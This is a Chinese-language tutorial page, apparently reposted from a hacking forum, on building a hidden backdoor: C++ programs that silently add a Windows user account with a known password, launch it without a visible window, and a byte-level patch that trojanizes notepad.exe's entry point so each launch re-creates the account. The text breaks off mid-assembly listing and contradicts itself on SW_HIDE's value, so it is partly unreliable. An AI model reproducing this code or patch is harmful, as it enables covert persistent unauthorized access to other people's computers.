当前位置: 首页 > 图文教程 > 网络安全 > 安全基础 > 逆向工程打造隐蔽的后门

安全基础
漏洞问题 RPC服务器安全配制
活用ftp自动上传文件至肉鸡
利用cmd躲过肉鸡防火墙方法
校园网方便的上网时段控制法
手把手教你穿透ADSL路由入侵内网
利用测试网站检测出你的浏览器安全级别
妙用你的hosts文件过滤插件和广告
个人隐私 你的系统文件保护好了吗
P2P中保障Windows网络安全的五大步骤
消除威胁 通过防火墙堵住VPN安全漏洞
天下无贼 两招解决IP地址盗用问题
DDoS防范和全局网络安全网络的应对
用Windows 2000安全审核让入侵者显形
宽带用户易被攻击 用户需注意七大方面
日志分析两部曲:充分利用日志保护网络
安全设置Windows组策略 有效阻止黑客
Win2000/XP中的自启动“后门”
小心 MSHTA漏洞为黑客大开远程控制之门
如何增强活动目录安全性的五个步骤
各种操作系统中密码文件的位置

安全基础 中的 逆向工程打造隐蔽的后门


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-10-28   浏览: 78 ::
收藏到网摘: n/a

本文测试平台:windows xp sp2, vc++6.0

    我很喜欢孟方明[-273]的文章,很有启发性,常常是show一种思路,而不仅仅是一种方法。
《逆向工程打造隐蔽的后门》中的添加用户的后门,还没有做到真正的隐蔽,因为有2次会闪过dos(我也不知道改叫什么窗口,暂且叫dos吧)窗口。但是孟方明提供了思路,我等菜鸟花了数星期研究之后,小有心得,拿出来给大家分享,下面我来给出方法:

开始真正的测试之前,先看下面的下面这个程序代码(相信菜鸟也可以看懂):


//测试程序,作用添加一个用户test并修改密码为windows
//AddUser.cpp
#include

int main(int argc, char* argv[])
{
system("net user test /add");
system("net user test windows");

system("pause"); //暂停程序,以便查看程序是否成功运行,实际应用时去掉
return 0;
}

编译一下,将生成的程序重命名为AddUser.exe,运行


没有关系,赶紧删除test这个用户

再来看看下面的代码:

// ExecuteAddUser.cpp
#include

int main(int argc, char* argv[])
{
ShellExecute(0, "open", "AddUser.exe", "", "", SW_HIDE); //注意SW_HIDE

system("pause");   //暂停程序,以便查看程序是否成功运行,实际应用时去掉
return 0;
}


也编译一下,生成ExecuteAddUser.exe,现在把AddUser.exe复制到ExecuteAddUser.exe所在的目录。运行ExecuteAddUser.exe, 嘿嘿,你没有看到AddUser.exe闪过dos窗口吧。去看看系统用户,看到test用户了吧。为什么没有显示窗口呢?上面已经表示出来了这里的参数SW_HIDE就是不显示窗口的意思,详细描述请查阅MSDN。而且进程列表里面没有cmd.exe

到这里我们的具体思路就已经出来了:
    只要把ExecuteAddUser.exe的代码嵌入到某一个程序里面(假设这里是A.exe),这样每次运行A.exe就会执行我们的AddUser.exe,如果把ExecuteAddUser.exe的代码嵌入到记事本,嘿嘿,那么这个用户就很难从机器上消失了,是不是有点强盗逻辑。

    想法是好的,但是要嵌入到某一个程序里面,就需要注意这里的参数SW_HIDE了,因为我们嵌入的时候,代码不能用SW_HIDE。其实SW_HIDE是微软定义的一个宏而已,我想到一个比较傻的办法来解决这个问题。
在vc++的目录搜索。终于在WINUSER.H中
找到如下定义:
/*
* ShowWindow() Commands
*/
#define SW_HIDE         0
中间的省略。
#define SW_MAX         11

可以看到SW_HIDE被定义为1。

问题解决了,去掉AddUser.cpp中的system("pause"); 去掉再次编译为AddUser.exe,复制到D盘(这里只是测试,实际上可能会被放到
c:\windows\system32\......,藏得越深越好啊)。

剩下的事情就很简单了基本上就是和孟方明的操作一样。修改如下:

原来的记事本入口:

01006AE0 > $ 6A 70       PUSH 70
01006AE2   . 68 88180001   PUSH notepad.01001888
01006AE7   . E8 BC010000   CALL notepad.01006CA8

修改为:

01006AE0 > $ /E9 BB120000   JMP notepad_.01007DA0
01006AE5   > |90         NOP
01006AE6   . |90         NOP
01006AE7   . |E8 BC010000   CALL notepad_.01006CA8

在01007D74添加如下字符:

01007D74   . 64 3A 5C 5C 4>ASCII "d:\\AddUser.exe",0
01007D84   . 6F 70 65 6E 0>ASCII "open",0



修改01007DA0为:
01007DA0   > \60         PUSHAD
01007DA1   . 6A 00       PUSH 0                       ; /IsShown = 0
01007DA3   . 6A 00       PUSH 0                       ; |DefDir = NULL
01007DA5   . 6A 00       PUSH 0            &nbs